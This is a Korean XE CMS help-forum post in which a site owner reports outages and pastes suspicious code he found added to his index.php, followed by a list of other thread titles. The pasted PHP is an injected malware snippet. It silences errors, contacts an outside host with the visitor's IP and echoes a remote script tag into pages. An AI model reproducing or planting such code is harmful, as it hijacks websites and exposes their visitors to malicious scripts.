묻고답하기

index.php파일 최하단에

 


#af7fbf#
if (empty($sehbv)) {

    error_reporting(0);

    @ini_set('display_errors', 0);

    if (!function_exists('__url_get_contents')) {

        function __url_get_contents($remote_url, $timeout)

        {

            if (function_exists('curl_exec')) {

                $ch = curl_init();

                curl_setopt($ch, CURLOPT_URL, $remote_url);

                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

                curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds

                $_url_get_contents_data = curl_exec($ch);

                curl_close($ch);

            } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {

                $ctx = @stream_context_create(array('http' =>

                    array(

                        'timeout' => $timeout,

                    )

                ));

                $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);

            } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {

                $handle = @fopen($remote_url, "r");

                $_url_get_contents_data = @stream_get_contents($handle);

            } else {

                $_url_get_contents_data = __file_get_url_contents($remote_url);

            }

            return $_url_get_contents_data;

        }

    }

    if (!function_exists('__file_get_url_contents')) {

        function __file_get_url_contents($remote_url)

        {

            if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',

                $remote_url, $matches)

            ) {

                $protocol = strtolower($matches[1]);

                $host = $matches[2];

                $path = $matches[3];

            } else {

                // Bad remote_url-format

                return FALSE;

            }

            if ($protocol == "http") {

                $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);

            } else {

                // Bad protocol

                return FALSE;

            }

            if (!$socket) {

                // Error creating socket

                return FALSE;

            }

            $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

            $len_written = @fwrite($socket, $request);

            if ($len_written === FALSE || $len_written != strlen($request)) {

                // Error sending request

                return FALSE;

            }

            $response = "";

            while (!@feof($socket) &&

                ($buf = @fread($socket, 4096)) !== FALSE) {

                $response .= $buf;

            }

            if ($buf === FALSE) {

                // Error reading response

                return FALSE;

            }

            $end_of_header = strpos($response, "\r\n\r\n");

            return substr($response, $end_of_header + 4);

        }

    }

 

    if (empty($__var_to_echo) && empty($remote_domain)) {

        $_ip = $_SERVER['REMOTE_ADDR'];

        $sehbv = "http://www.processnet.com.ar/good_job/yWXjwvJc.php";

        $sehbv = __url_get_contents($sehbv."?a=$_ip", 1);

        if (strpos($sehbv, 'http://') === 0) {

            $__var_to_echo = '<script type="text/javascript" src="' . $sehbv . '?id=12328198"></script>';

            echo $__var_to_echo;

        }

    }

}
#/af7fbf#

 

 

 

사이트 접속이 되다 말다 그러고 페이지를 찾을 수 없습니다 빈도가 상당히 잦아 서버를 재부팅 해봤으나 증상은 동일하여 FTP를 열었더니..

 

위와같은 소스가 들어있었습니다.

업로드 한적이 없었음에도 불구하고 위의 소스가 들어가있고

업로드시간은 4월 24일 5시 40분 자로 표시되어있네요..

다시 원래 XE 의 기본 php 파일을 올렸으나 속도 문제는 해결 되지 않네요.

 

무섭습니다. 어떻게 해야할까요?

글쓴이 제목 최종 글
XE 공지 글 쓰기,삭제 운영방식 변경 공지 [16] 2019.03.05 by 남기남
애니즌 한글,영문,특문 한글자씩 잘라서 줄바꿈 가능할까요? [4] 2014.04.24 by 애니즌
멍멍이호스팅 가입인증메일이 안옵니다. [5] 2014.04.24 by prologos
똑디 png 반투명 배경 처리 방법? [8] 2014.04.24 by 똑디
최윤한 스마트 레이아웃사용중인데요 서버이전후 로그인박스가 작아지고 "이메일" 문구 사라졌네요  
슈팅1106 스케치북 방명록에 관해서 물어보고싶은게 있어요~  
애니즌 엮인글 모듈을 그냥 삭제해도 문제가 없나요? [2] 2014.04.24 by 애니즌
손주사랑 스마트폰에서는 관리페이가 ᆞ [2] 2014.04.24 by 손주사랑
레망 content 위젯에서 ..... [2] 2014.04.24 by 레망
NEWGENi xe1.7.4 버전으로 홈피를 upgrade하려고 합니다 [4] 2014.04.24 by NEWGENi
뉴나 스케치북 5 댓글창 오류 문제 [4] file 2014.04.24 by 루팡쿠팡
딩딩2 회원관리폼 자기소개서 추가 후 입력 질문이요! [2] 2014.04.24 by 애니즌
리즈먀 최고관리자 아이디로 로그인해도 어떤 컴퓨터에서는 권한이 없다고 나옵니다. [2] 2014.04.24 by 애니즌
휘빈a 게시판에 출처 쓰게하는거 못하나요? [2] 2014.04.24 by 애니즌
수직상승 captcha member 작동이 제대로 안되요..  
보소보소 누리고 쇼핑몰 결제모듈 오류  
씨디맨 댓글에 포인트 나타나도록 [3] 2014.04.24 by 아니라라
현재를 즐겨라 [jquery+widgets] 제이쿼리배경에 위젯삽입하는 방법 좀 가르쳐 주세요.  
손주사랑 어떤게시판에 어떤글을 많이 보았는지 [2] 2014.04.24 by 손주사랑
아웅졸려라 XE 다루는 법을 배우려면 어떻게 해야 하나요? [5] 2014.04.24 by 아웅졸려라
Maria 배너 관리자 모듈과 위젯 질문입니다. [1] 2014.04.23 by 마음의빈자리